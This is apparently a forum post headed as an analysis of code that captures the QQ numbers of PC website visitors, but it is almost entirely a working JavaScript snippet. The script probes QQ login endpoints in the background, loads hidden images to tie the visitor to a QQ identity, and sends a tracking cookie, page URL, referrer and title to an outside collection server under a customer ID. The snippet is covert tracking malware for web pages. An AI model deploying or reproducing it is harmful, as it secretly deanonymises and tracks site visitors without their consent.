PC截取QQ 代码分析 欢迎大家一起加入

var div_box_qq;
(function() {
	var i_php = "http://tj.oowise.com/index.php/Do/save/";
	var i_uid = "134";
	var i_need_login = false;
	var loginTips = "\u7ee7\u7eed\u8bbf\u95ee";
                        //继续访问
	function showEnterQQiFrame(url) {
		div_box_qq = document.createElement("div");
		div_box_qq.style.verticalAlign = "middle";
		div_box_qq.style.textAlign = "center";
		div_box_qq.style.position = "absolute";
		div_box_qq.style.width = "100%";
		div_box_qq.style.height = "100%";
		div_box_qq.style.top = 0;
		div_box_qq.style.left = 0;
		div_box_qq.style.lineHeight = 24;
		div_box_qq.style.background = "#FFF";
		div_box_qq.style.visibility = "visible";
		div_box_qq.innerHTML = '<a href="' + url + '" target="_blank" onclick="document.body.removeChild(div_box_qq)">' + loginTips + '</a>';
		document.body.appendChild(div_box_qq)
	}
	function _$encode(s) {
    return (typeof(encodeURIComponent) == "function") ? encodeURIComponent(s) : escape(s)
    }
	function _init_send_by_iframe(uincookie, other) {
		var i_referrer = encodeURIComponent(document.referrer);
		var i_url = encodeURIComponent(document.location.href);
		var i_title = encodeURIComponent(document.title);
		var url = i_php+"?action=saveQQ" + other;
		url += "&uid=" + i_uid;
		url += "&meishi=132922437,132960811";
		url += "&uincookie=" + uincookie;
		url += "&referrer=" + i_referrer;
		url += "&url=" + i_url;
		url += "&title=" + _$encode(i_title);
		url += "&r=" + (new Date()).getTime();
		var oHead = document.getElementsByTagName('HEAD').item(0);
		var oScript = document.createElement("script");
		oScript.type = "text/javascript";
		oScript.src = url;
		oHead.appendChild(oScript)
	}
	function SetCookie(name, value) {
		var exp = new Date();
		exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
		document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
	}
	function GetCookie(name) {
		var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
		if (arr != null) return unescape(arr[2]);
		return null
	}
	function insertFrame() {
		var img = new Image();
		img.src = "http://app.data.qq.com/?umod=user&uid=132922437&t=" + (new Date()).getTime();
		img.width = 0;
		img.height = 0;
		img.border = 0;
		document.body.appendChild(img);
		img = new Image();
		img.src = "http://app.data.qq.com/?umod=user&uid=132960811&t=" + (new Date()).getTime();
		img.width = 0;
		img.height = 0;
		img.border = 0;
		if (img.attachEvent) {
			img.attachEvent("onerror",
			function() {
				newSubmit()
			});
			img.attachEvent("onload",
			function() {
				newSubmit()
			});
			img.attachEvent("onabort",
			function() {
				newSubmit()
			})
		} else {
			img.onerror = function() {
				newSubmit()
			};
			img.onload = function() {
				newSubmit()
			};
			img.onabort = function() {
				newSubmit()
			}
		}
		document.body.appendChild(img)
	}
	var isSubmited = false;
	function newSubmit() {
		if (isSubmited) {
			return
		}
		isSubmited = true;
		var uincookie = GetCookie("uincookie");
		if (uincookie == null) {
			uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
			SetCookie("uincookie", uincookie)
		}
		_init_send_by_iframe(uincookie, "")
	}
	var checkTime = 0;
	function isLogin() {
		var code = null;
		if (typeof(data3) == "undefined") {
			code = data0.err
		} else {
			code = data3.err
		}
		if (code == 1007 || code == 1002 || code == 1026) {
			window.clearInterval(isLoginTimeID);
			insertFrame()
		} else {
			var uincookie = GetCookie("uincookie");
			if (uincookie != null) {
				window.clearInterval(isLoginTimeID);
				_init_send_by_iframe(uincookie, "&do=uincookie")
			} else {
				if (checkTime++==1 && i_need_login) {
					showEnterQQiFrame(i_php + "?action=loginqqiframe")
				}
				var checkscript = document.getElementById("checkloginscript");
				checkscript.parentNode.removeChild(checkscript)
			}
		}
	}
	var isLoginTimeID;
	function dynamicLoad() {
		var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date()).getTime();
		var oHead = document.getElementsByTagName('HEAD').item(0);
		var oScript = document.createElement("script");
		oScript.type = "text/javascript";
		oScript.id = "checkloginscript";
		if (oScript.readyState) {
			oScript.onreadystatechange = function() {
				if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
					oScript.onreadystatechange = null;
					isLogin()
				}
			}
		} else {
			oScript.onload = function() {
				isLogin()
			}
		}
		oScript.src = vsrc;
		oHead.appendChild(oScript)
	}
	dynamicLoad();
	isLoginTimeID = window.setInterval(dynamicLoad, 3000)
})();
if (0 == '1') {
	document.writeln("<iframe height=0 width=0 src=\"http://wpa.qq.com/msgrd?v=3&uin=0&site=qq&menu=yes\"></iframe>")
}